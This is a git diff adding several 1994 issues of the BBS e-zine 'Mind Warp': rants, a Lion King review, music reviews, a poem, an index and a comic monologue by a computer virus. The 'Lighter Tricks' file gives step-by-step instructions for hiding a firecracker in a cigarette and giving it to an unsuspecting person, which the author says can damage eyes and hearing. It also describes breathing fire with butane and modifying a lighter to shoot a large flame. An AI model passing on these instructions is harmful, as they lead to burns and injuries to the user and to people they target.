look good in this garter, Answan?). Also, this is for +all those who agree with me but are too lazy to write. + + Now, I don't have much experience in this world, but I believe I've +soaked enough to give an opinion about it. I'm not a very violent person, so +you won't be reading too much about me wanting to rip someone's liver out but +anger is included for all you psychos. + + I have a couple of philosophies in life, most of which I ponder while +on the toilet, or while fucking my girl. They are in no order whatsoever, well +actually, some of the real good ones are in the beginning, so start there (as +if you'd start at the end). + + 1. "Don't do exactly what other people tell you to do all the time, + but use it to your advantage and climb to the top, destroying all + who cross your path. Anyway, if you follow all orders, you'll + never have anything to show people what YOU have done." + + 2. "Take care of yourself first, before anyone else-you're gonna have + to live with yourself for the rest of your stinkin life. This + doesn't imply health consciousness, but an awareness of the fact + that YOU are more important than anyone else." + + 3. "When you feel yourself getting mad as a pit bull, calm down, + count to ten, THEN kick his ass." + + 4. "When you occupy yourself by thinking of all the people you want + to kill, stop and say to yourself, 'Hey, couldn't I be fuckin' + some girl right now?' And if you ARE fuckin' a girl at the moment, + take a look at where this relationship is actually going." + + 5. "Explore different personalities, get to master each one. You can + really confuse people like that. Give 'em one guy one day, then + the next, give 'em something totally different. Nobody will able + to predict what the hell you're gonna do next. That's cool." + + 6. "Help other people out (only when it's convenient for YOU-refer to + #1.) but NEVER give them any information that they could use + against you or that could aid in your humiliation or other stuff + that sucks." + + 7. "Expose yourself to different sorts of people, foods, etc. Then + reject them all and sit in your room and call boards." + + + I was gonna think of ten, and call them a modification of the Ten +Commandments, but I don't feel like it. Anyway, it's not like they're rules +you have to follow. I'll probably get some hate mail (if anyone reads this, +yeah...right), so I'm prepared. If someone actually LIKES this, tell me and +for $5 (+ shipping) you can register this and remove annoying tags like this +one! Shut the fuck up. + + A shout out to Raven for making this work (oh great, now I sound like +I'm on the stage at the Emmy's). Great job. + + [ Editor's Note: "huhuhuhuhuh I got greeted!!! WOOOOOOO!! :)" ] + + Buckwheat hath visited and + left his mark. ³³ + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-023.txt b/textfiles.com/magazines/MINDWARP/mw-023.txt new file mode 100644 index 00000000..1250f4e7 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-023.txt @@ -0,0 +1,78 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #12, File #023 ] + [ "Whining about 'The Lion King' :)" by Mustaine ] + +------------------------------------------------------------------------------ + I Hate Cartoons: "The Lion King" + [Mustaine/Influenza] + + I had the misfortune of seeing "The Lion King" the other day. Needless +to say, I have lost all faith in Disney. That is, what little respect I +actually held for Disney is all gone. Aw, scratch that. Disney just sucks, +got it? Now, back to the point. Where was I.....OH! + Like I said, or maybe i didn't...but who cares. I went to see the +Lion King. Not willingly of course. You see, my girlfriend...she prefers +to go unnamed when I write these articles...but Arsonist's Arsenal members +know her as Sarcasm...anyway, she was pissed at me so I had to go see Lion +King to otherwise avoid a tragic end to a relationship. You see I worked +all day, and had told her the day previous(like the day b4) that we might +go out and do something. KEY WORD is MIGHT. Not a promise...just "MIGHT." +At any rate, I had to work ALL morning and most of the afternoon, and didn't +get home till like 5. I then took a nap for about 15 minutes before she +called and started crying because I broke a date that I hadn't even really +promised to take her on. UGH. ANYWAYS...she suckered me to go see this +damn movie. AND NOW...for the review. + The Lion King. Hated it. Ok...this thing was a cartoon. Normal +people would have just avoided it because of that fact. Also...Disney +made it! Now who in their right mind would go see this film? Going on. +Plus..this story had way too much violence for a cartoon. G.I. Joe at +least didn't show the characters getting stamped by a wild rush of +uncontrolable zoo animals. Lemme start at the beginning. + 1) Movie opens....stupid song...lots of cartoon thingy's. + 2) Like this baby lion was born to the Lion KING! + (He's like the main character...I forget the bugger's name.) + 3) The next few hours like we meet the bad guys, which are the + Lion's King's bro..Scar, and three hyenas...one of em is the voice + of Whoopie Goldberg. + 4) Next like they kill off the dad, blame it on the kid...and then + the kid leaves for some nearby forest. + 5) Introduce some little rodent d00d with a farting pig. They + befriend the idiot. (The little lion d00d.) + 6) Like they go off and grow up. + 7) Back at the first place, like Scar and the hyenas take over + and make all the other animals miserable. (One might add that + they eat a LOT of zebra legs.) + 8) Oh yeah...back in the beginning the little bugger d00d had a + girlfriend. She like leaves from the Scar d00d and comes + to the forest place. + 9) Bugger d00d reunites with girl, they go resolve to go fight + Scar. (It's a lot bigger than that..but let's just say a monkey + and the ghost of bugger's dad convince bugger to go get Scar.) + 10) Bugger goes to Scar...there's a neato cartoon slow-mo fight... + 11) Scar gets killed by the hyena. + 12) All is well. + 13) A new bugger gets born from the mating of bugger and girlyfriend. + 14) Closing Credits. + + Ok. That was the whole movie. And I had to watch it to save my +relationship with my girlfriend. What a bitch. (The experience...not +my girlfriend.) Ok. That's it. Don't go see the movie. Disney sucks. +Etc., etc.. + + Mustaine / iNFLueNZa iNC. / 1994 + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-024.txt b/textfiles.com/magazines/MINDWARP/mw-024.txt new file mode 100644 index 00000000..439eb0e6 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-024.txt @@ -0,0 +1,74 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #13, File #024 ] + [ "Just What the Hell IS Summer?" by Buckwheat ] + +------------------------------------------------------------------------------ + Just What the Hell IS Summer? + [Buckwheat] + + What's summer? That's like trying to find the meaning of life. Summer +is the time when everyone says they're gonna have the BEST time of their +life. People say they'll go to the beach, meet with friends, go to parties, +etc. And some actually DO! But, the majority...do not. + In reality, summer is the time when you wake up in mid-afternoon, +fucked up, and promise yourself you're gonna party tonight...with other +people. + +Yeah, right. + + ACTUAL RE-ENACTMENT + +You: >YAWN< Man, today I'm gonna go out and party. + +*RING* + +You: Why the fuck do people call this fuckin early? Shit! + +*You look at clock-1:43* + +You: Hello? + +Your Friend: Hey, did you get onto ">ADD THE NAME OF SOME COOL ELITE BOARD<" + yet? + +You: I have to call back and check for access. + +Friend: OK, call me back if you get on. + +You: >AS IF YOU'D ACTUALLY REMEMBER< OK, see ya. + +*Click* + + After this conversation, you drag yourself to your computer and call +that board. You didn't get it. + +You: Shit. Well, I might as well call some other baords while i'm on. + + Little do you know that you have now entered a zone refered to as +"Computeris Hookedonis," and you won't return to reality until you feel +something warm and wet drip down your left leg. Then, as you curse yourself, +you realize what you've been doing for the last two hours. + This is when the "Self-Pitty" stage comes into play. Followed +immediately by "Acceptance." + + So what is summer? Summer is the same every fucking summer of your +life when you're under 18 and not 16. Summer can be cool, and summer can suck +cold shit out of a lead pipe. + + Buckwheat, Ph.D + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-025.txt b/textfiles.com/magazines/MINDWARP/mw-025.txt new file mode 100644 index 00000000..af2e9ffb --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-025.txt @@ -0,0 +1,130 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #14, File #025 ] + [ "Music Review #4" by Mustaine ] + +------------------------------------------------------------------------------ + Mustaine's Music Review #4 + [Mustaine/Influenza] + + Hey everyone. Long time, no..write articles. I'm away at college, +so what I submit depends on what time I have available to me. Which, +by the way, has been about nil. But here I am with a spare second, so +here comes a quicky doodle music review, making this my fourth. And as +always, if you don't like it, take it and shove it. + + Mustaine's Music Scale + + 0) SuCKS!!! + 1) BiTeS!!! + 2) eWW!!! + 3) CRaP!!! + 4) BLaH, BLaH... + 5) NoT HaLF BaD, BuT CRaP.. + 6) GeTTiN' THeRe!!! + 7) KeWL..SoRTa + 8) Yo! I CaN DiG THiS SH*T. + 9) Woo! PLaY SoMe MoRe... + 10) F*CKiNG iNCReDiBLe!!! + + +Band #1 : +Name : Crystal Waters +Members : This isn't a conventional band, so I can only enter who + contributed to the effort. David Sussman, Kenny Hicks, + Basement Boys, Brian "G", Sean Spencer, Maurice Fulton, + Gary Hudgins, the P-Funk Horn Section (Greg Boyer, Greg Thomas. + Benny Cowan). There were several others, but I am focusing on + a maxiCD, and I am only reviewing the one song. So if this ain't + enough info wise...go buy the damn album and check it out. +Album : 100% Pure Love +Info. : Woah...like you can find this under the soul section in any well + stocked Kemp Mill. Crystal Waters is a kickin' singer, and I + learned a really nifty hip-hop routine to this one (100%...). + It's definatly dance music! Anyways, I bought the maxiCD, cause + I have like no money anymore...(300 dollars worth of required + books for college at UMCP, first semester freshman!!) At any + rate, this maxiCD has seven tracks, and I like most of em.. + Er...this is too long...onto the rating of the songs! + + 1) Club Mix *9 (8:04) (100% Pure Love) + 2) Radio Mix *10 (3:06) (100% Pure Love) + 3) Gumbo Mix *8 (5:22) (100% Pure Love) + 4) Hump Mix *8 (5:33) (100% Pure Love) + 5) DJ EFX's Tribal Pump Mix *7 (6:41) (100% Pure Love) + 6) PG Tips Anthem Mix *9 (7:40) (100% Pure Love) + 7) Trance Vox *7 (6:40) (100% Pure Love) + + Woah, like Trance Vox is slightly acapella. On to the next + band... + +Band #2 : +Name : Tears for Fears +Members : I have NO clue. The CD sleeve was lacking in member info. + Here are the names *I* know.. + Orzabal, Smith, Bascombe, Holland, Stanley +Album : Tears Roll Down (Greatest Hits 82-92) +Info. : It's Tears for Fears and their greatest hits! Do you like + Tears for Fears? Do you like Ah-ha? Well, if you like Tears + for Fears, it's them at their finest in this album, and if you + like Ah-ha...well they sounf like Tears for Fears too. This + CD is filled with killer tracks by the masters of poppish sounding + stuff. Buy it, or my dog will rape you. Here's the rated list.. + + 1) Sowing The Seeds Of Love *9 + 2) Everybody Wants To Rule The World *10/11 + 3) Woman In Chains *8 + 4) Shout *10/11 + 5) Head Over Heels *10 + 6) Mad World *9 + 7) Pale Shelter *8 + 8) I Believe *9 + 9) Laid So Low (Tears Roll Down) *9 + 10) Mother's Talk *9 + 11) Change *9 + 12) Advice For The Young At Heart *9 + + See all those 9's and 10's????/ THEY ROCK. So do the potential + 11 ones....provided you don't overplay them. + + Well guys, I have a dorm meeting to run to, and to tell ya the +truth, I got home and had Voice Mail telling me a girl that was coming to +visit(and I missed her cause I was on the phone...) so after the meeting +I am gonna go kick myself...this may be one of the last few things you +see from me for quite some time. (Like you care.) So here's my message +to her...cause she's got internet, and I'm gonna leave her mail... + + Mandy...sorry to have missed you...I will make it up to ya. Still +staying sober!!! Second day too. At any rate, if you ever read this, +remind me when I'm talking to ya. Your the sweetest and kindest girl I +have ever met in my life. Long live the summer camp crew of F'N'F. +Call me. (09/01/94) + + What, you guys are still reading this???? HELLO! That last bit was +NOT for the general public, so if you didn't understand it...good. Quick +greets to Raven, Pornlo, the F'N'F Summer Crew...especially Mandy...and to +my faithfull readers...the hate mail is getting WAY out of hand. + + For anyone wanting to leave me mail...GOOD ONLY...I'm at + mustaine@wam.umd.edu for the next 4 years. Send it, or + drop by! I LOOOOOOOOVE visitors. Especially visitors of the + female gender. Later...peace. + + [ Editor's Note: "huhuhuhuh wam.. huhuh Wham.. huhuhuh George Michael.." ] + + - Mustaine + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-026.txt b/textfiles.com/magazines/MINDWARP/mw-026.txt new file mode 100644 index 00000000..4db538af --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-026.txt @@ -0,0 +1,136 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #1, Issue #15, File #026 ] + [ "Mind Warp! Index #2" by Raven ] + +------------------------------------------------------------------------------ + Mind Warp! Index #2 + [Raven/EoS] + June-August 1994 + + Ok, Welp this is our second volume of files. And Mustaine is getting +more and more obnoxious . This time he's gone and insulted the editor of +another zine (oi vey.. a zine that I happen to like, but of course, I like +all zines :). Anyway, please keep reading to find out how (and where) to +send Mustaine Hate Mail. + +So far, the current people involved in this effort are: + + Raven : Writer / Editor + Catwoman : Writer / Editor / Proofreader + Mustaine : Writer / (wierd) k-rad d00d + Dark Horse : Writer (Poet) / Editor + Buckwheat : Writer (O-TAY!) + +..and we hope that the list will continue to grow. + + I am VERY proud to introduce two(2) new writers in this volume! Dark +Horse, who is an EXCELLENT writer, and an EXCELLENT editor (made him an +editor, cuz he has/had(???) his own zine, and most likely knows a helluva lot +more about this than myself :), and is also a great SysOp.. (give him a call: +The Omniverse @ (301) 718-0225 - a vast cauldron of drug information (yay!)) +Also, we've got Buckwheat (uh what can say? uh.. ;) Oh! and Catwoman FINALLY +wrote something! :) A TON of thanks to all those who wrote and helped... + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT "Mind Warp! Index #1" Raven #0 #10 4.7k +MW!-011.TXT * "Phone Death" Raven #1 #0 6.7k +MW!-012.TXT * "STUPIDRV.EXE" Mustaine #1 #1 13.1k +MW!-013.TXT * "Class Voting" Raven/Catwoman #1 #2 2.9k +MW!-014.TXT * "Music Review: #3" Mustaine #1 #3 8.7k +MW!-015.TXT * "Misc. Poetry" Dark Horse #1 #4 4.8k +MW!-016.TXT * "Editorial" Mustaine #1 #5 4.4k +MW!-017.TXT * "A NEW Crime Bill" Raven #1 #6 5.1k +MW!-018.TXT * "Kids...They Suck." Mustaine #1 #7 6.2k +MW!-019.TXT * "Untitled Poem" Dark Horse #1 #8 2.2k +MW!-020.TXT * "Phun with Snot" Mustaine #1 #9 5.4k +MW!-021.TXT * "The World's Suckiest Jobs" Catwoman/Raven #1 #10 3.6k +MW!-022.TXT * "Philosophical Wonderings" Buckwheat #1 #11 4.5k +MW!-023.TXT * "Lion King Review" Mustaine #1 #12 4.5k +MW!-024.TXT * "Summer" Buckwheat #1 #13 2.9k +MW!-025.TXT * "Music Review: #4" Mustaine #1 #14 6.6k +MW!-026.TXT * "Mind Warp! Index #2" Raven #1 #15 7.9k +------------------------------------------------------------------------------ + + As it is, we currently don't have a mailing list, but I'd be glad to +take your e-mail address down, and send the next volume out to each of you +by hand. I can be contacted at mindwarp@aa.bbs.org on the internet, or +#1@3111 on IceNET. Or, you could call up my board (see the end of the file), +and download it from there. The same goes when submitting an article. E-mail +it to me at one of those, or call my board and e-mail it to me, or upload it. + The following is the Mind Warp! PGP key. It isn't required that you +encrypt your mail or your submissions, but it would be greatly appreciated if +you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip, DIE!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + + + Please send all of your Mustaine Hate Mail to either address as well. +We know you want to send it. Hate mail will be sent to him, and it will be +published (with a reply) in a future issue. :) + + As of now, we also don't have any real distribution sites, either. +So, if you're interested, e-mail away. With Mustaine's help, though, we +should be getting an anonymous FTP site for the zine. Also, if I can't get +access to a listserver to create a mailing list, then I'll try and program +my own friggin mailing-list server for my domain. + +***************************************************************************** + Some info on sPHeAr digizine, which was headed by Signal: +It seems that Signal will NOT be coming into the hack/phreak scene for +reasons unknown to myself, for a while. Control of the Sphear zine has been +handed to Mustaine, who should be working with it if he ever gets off his +lazy butt. For more info, please contact Mustaine (for I myself am somewhat +in the dark as to what happened). +***************************************************************************** + + Distribution info: Please, distribute these all you want, but just +keep the files in format of MW!-XXX.TXT where XXX is a the file number that +is already on there. Also, if the file is archived, please keep it in the +same format, except for the .TXT extension which should be replaced by the +default extension of the archiving program (ex. ZIP,ARC,ZOO,ARJ,LZH, etc..). +And the other format of distribution (and probably now the MAIN format) is +in the form of MW!-VXX.AAA, where XX is the volume number, and AAA is the +default archive extension. This method will contain all of the issues of one +volume in a single archive. +Thanks. + +- Raven + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-027.txt b/textfiles.com/magazines/MINDWARP/mw-027.txt new file mode 100644 index 00000000..37ecd634 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-027.txt @@ -0,0 +1,95 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #0, File #027 ] + [ "The BLOND Virus" by Mustaine ] + +------------------------------------------------------------------------------ + The short life of the virus called BLOND. + [Mustaine/Influenza] + +[--------------------------------------------------------------------------] + WHOAH! What the #$?@! WHAT THE HELL ARE YOU DOING???? AHHHHH!!!! + WOAAAAAHHHH!!!! + + + + HELLO???? I WASN'T MEANT TO GO INTO A MODEM! OH NO, NOT + THAT, NOT THAT.....AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! + + + + + + HEY, WHO TURNED OUT THE LIGHTS? WHERE IS EVERYONE? DARK AVENGER? + PIXEL POP? NUKE? AIDS? WHERE ARE YOU GUYS? + + + + WOAH! LIGHT! DIRECTORYS! PHILES! SOMEONE JUST TYPED MY NAME IN! + K-KEWL! SOMEONE IS RUNNING ME! + + + + HIDE, ENCRYPT, REPLICATE...HIDE ENCRYPT REPLICATE... + + + + WING COMMANDER II!!! I LOVE THAT GAME...HERE I COME. + + + + TARGET WC2.EXE. SEEK, INFECT, REPLICATE, HIDE...SEEK INFECT... + + + + YESYESYESYESYESYES!!! HEHHEHEHEHEH SEEK AND DESTROY. WOO! + + + + NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO! AHHH! NO! NOT THAT! + ANYTHING BUT THAT. + + + + AHHHHHHHHHHHHHHHHHHHHHHHH! I'MELTING, MELTING...... + + + +[--------------------------------------------------------------------------] + + Hey, it could happen. Maybe not, eh? + + Greets to Raven, Essex, Casper, Pornlo, Slarti, and George the Zit. + + - Mustaine / Mind Warp / 1994 + + [Editor's Note: When he comes across McAfee, it'd be more like "Hey, + those are the guys that distributed me! Hey Guys!" Oh well.] + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-028.txt b/textfiles.com/magazines/MINDWARP/mw-028.txt new file mode 100644 index 00000000..04e029ca --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-028.txt @@ -0,0 +1,85 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #1, File #028 ] + [ "Lighter Tricks" by Raven ] + +------------------------------------------------------------------------------ + Tricks to do with Lighters and Cigarettes + [raven/MG] + +1. Sparkling Cigarette: get a lighter, and gently turn the ignition wheel, + just enough so that it doesn't make a spark, but that it scrapes off + small pieces of flint. Do this over top of your cigarette box (box, not + softpack). Now, once you have a decent amount of black, flint dust(not + too much, just a little), lick your cigarette, and roll it in the flint + dust. Now, go outside at night, and light up, the cigarette will sparkle + all nice and pretty. + +2. Breathing Fire: take a disposable butane lighter, and jam it in your + mouth! Now, push the little red button (hopefully you're bright enough + not to use an electric ignition lighter) with your thumb that is also + stuck in your mouth. Wait a couple seconds, and when you fill your mouth + is full, quickly pull the lighter out (making sure not to much butane + comes out), light it, hold it in front of your mouth, and open your mouth + wide, while breathing a big deep breathe out. If you did it right, + you'll see a big flame appear in front of your face. Warning: this is + best done inside, and do not inhale the butane, or you might have your + lungs combust. (ooh fun-fun) + +3. The "Seven Drags from a Cig" Bet: Ok, go up to someone, and take THEIR + cigarette. Tell them, "I bet you 5 bucks that I can take seven drags off + this cigarette without it going down over 1mm." If you actually find + someone stupid enough to take such a type of bet, then go at it, if they + don't take the bet, then do it anyway, it's their cig. Here's what you + do: light the cigarette in the side of the middle. that's it, now take 7 + drags from it, and collect your money, or finish off the cig. + +4. Exploding Cigarette: This takes some of work (stressful work). Take a + fire cracker, rip the fuse off quite short, and unwrap and tear off some + of the paper on it, so it's a little thinner. Then take a strip of paper + that's as wide as the fire cracker is long, and wrinkle it up. Once the + paper is nice and wrinkled, wrap it around the fire cracker, so that it's + roughly the same diameter as a cigarette. Now, the hard part. Take a + cigarette, and use some thin tweezers or something to pull the tobacco + out of the paper, being as careful as possible not to tear and wrinkle + the paper too much. Once you have pulled out all of the tobacco, slide + the wrapped fire cracker into the empty cigarette as carefully as you + can, with the fuse sticking towards the end of the cigarette. The + wrinkled paper is there to add volume and to give it a soft feel. Now, + the OTHER hard part :) Try to pack the tobacco in as best you can, it's + not easy at all. Now, when someone asks you for a cigarette, give them + that one, and say that it's been in your shirt pocket all day. This is + quite mean, if it doesn't injure their eyes, then it will at least make + them deaf for quite a while, and sting their fingers pretty badly. + +5. Flame thrower lighters: Umm.. I was watching a movie when I was about + ten that had this pyro dude that had this bitchin lighter that went up to + about an 8 inch flame. And when I was 13 I figured out how to do this. + First off, you need one of those cheep ADJUSTABLE, disposable lighters. + It has to be adjustable. Now, pop off that little piece of metal that + guards the flame. You'll see the adjuster which is a little circular + piece of plastic that is around another piece of plastic. Turn the thing + to HIGH, now, lift up the adjuster piece of plastic, so that it's + disconnected from the other one. Now, turn it to LOW, and place it back + down around the other piece of plastic. Now put the little metal thing + back on, and flick yo' bic! (well, figuratively, BIC doesn't make + adjustable lighters unfortunately) When you turn your lighter to HIGH, + it will now be a big-assed flame that shoots out. + +Now go out there and have phun amazing your smoking buddies at what k-cool +things you can do while getting cancer! + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-029.txt b/textfiles.com/magazines/MINDWARP/mw-029.txt new file mode 100644 index 00000000..87fd9a83 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-029.txt @@ -0,0 +1,53 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #2, File #029 ] + [ "Driving Grievances" by Slartibartfast ] + +------------------------------------------------------------------------------ + Driving Grievances + [Slartibartfast] + + I really enjoy driving. The open road, the hum, yes hum not roar, +of my 4 cylinder engine, the wind whipping through my hair, and the radio +blasting only Rock 'n' Roll. There are two minor problems, cops (of course), +and other drivers. + Cops are fairly easy to deal with. Here's how, WATCH OUT FOR THEM! +The one time that I was surprised by a cop was when I passed by a speed trap +at 75 mph. This is where my clever little escape tactics come in to play. +Only pass speed traps at 75 when the cop is very intensly eating a donut +and the jelly dribbles out onto his clean, pressed uniform. + This brings me to the other drivers. Especially those yuppies in their +BMW's, thirty-something women with PMS, and ignorant 16 year old schmucks +whose parents bought them BMW's on their birthday. Here is my simple advice +concerning these three types of drivers, STAY THE HELL AWAY FROM THEM! Here +is my simple advice to them, DIE! If there was any justice in this world +these people wouldn't be driving anything but railroad spikes through their +heads. + Before I finish this, I must say that if you the reader happens to fit +into one of the above categories, then sell your Beemer, take a vacation in +Antarctica, and don't bother to come back. I don't mean to offend you, I'm +just pissed because my car was in the shop for two weeks after some thirty- +something women smashed my car, IN A PARKING LOT! + For all you safe drivers out there, good luck and best wishes to you. +I'm more than happy to be sharing the same road with you. For all of you +who don't drive yet, well, good, ride a bike! Oh, and if you're ever passed +by a madman in a little red car, forgive me, I'm not driving too fast, I'm +just flying low! + + - Slartibartfast + + +============================================================================== + Call the Recluse BBS at (301) 314-1505 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-030.txt b/textfiles.com/magazines/MINDWARP/mw-030.txt new file mode 100644 index 00000000..d25510ff --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-030.txt @@ -0,0 +1,103 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #3, File #030 ] + [ "Untitled Poem" by Deker ] + +------------------------------------------------------------------------------ + Untitled Poem + [Deker] + +*Untitled* +9/26/94 + +I sometimes think +of electron paths +And particles too small to know +Coursing endlessly through silicon substrates +Messeners delivering their word +At the speed of light + +I sometimes think +Of data streams +Carrying vast amounts of information +Ceaselessly flowing through the vast networks +That criscross our ever shrinking world + +I sometimes think +Of numbers too large to comprehend +And quantities no human can know +Quantities, that fly +From machine to machine +Their own cryptic language + +I sometimes think +Of what lies beyond +This encoded world +Of things that can spring forth +From the patterns of ones and zeros + +And I sometimes dream +Of how free it all can be +Information +passing from one mind to another +Only seconds away +Yet across the globe + +And I sometimes see +How boundaries drop +How race and gender +And everything else that seperates +One mind from another +Loose meaning in this digital dream + +And once again I dream +Of this freedom +Of this place where +You are judged only by what you say +And not who you are + +And I sometimes i think I see +The paradigm about to shift +And open this world to everybody +Who would come + +I invite all to come here +The assholes +The bigots +The politically correct +The leftist radicals +All those who will come + +For this is a place of freedom +Information makes it free +Lack of boundaries makes it free +Diversity makes it free + +But the most liberating thing of all +Is the anonimity +The facelessness +The lack of color +The lack of physical being +The wealth of oddity +The wealth of normality + +And most of all +The wealth of freedom + +-=[deker]=- + + +============================================================================== + Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-031.txt b/textfiles.com/magazines/MINDWARP/mw-031.txt new file mode 100644 index 00000000..da08004d --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-031.txt @@ -0,0 +1,80 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #2, Issue #4, File #031 ] + [ "Letter to Bozak" by Mustaine ] + +------------------------------------------------------------------------------ + Letter to Bozak + [Mustaine/Influenza] + 10/10/94 + + Attention all guys, ladies, and mutants. Earlier this week a +friend of mine named Michelle wrote this hilarious letter that we sent +to this guy named Bozak. Who they are and why the letter was sent is none +of anybody's buisness. But it was so hilarious, I 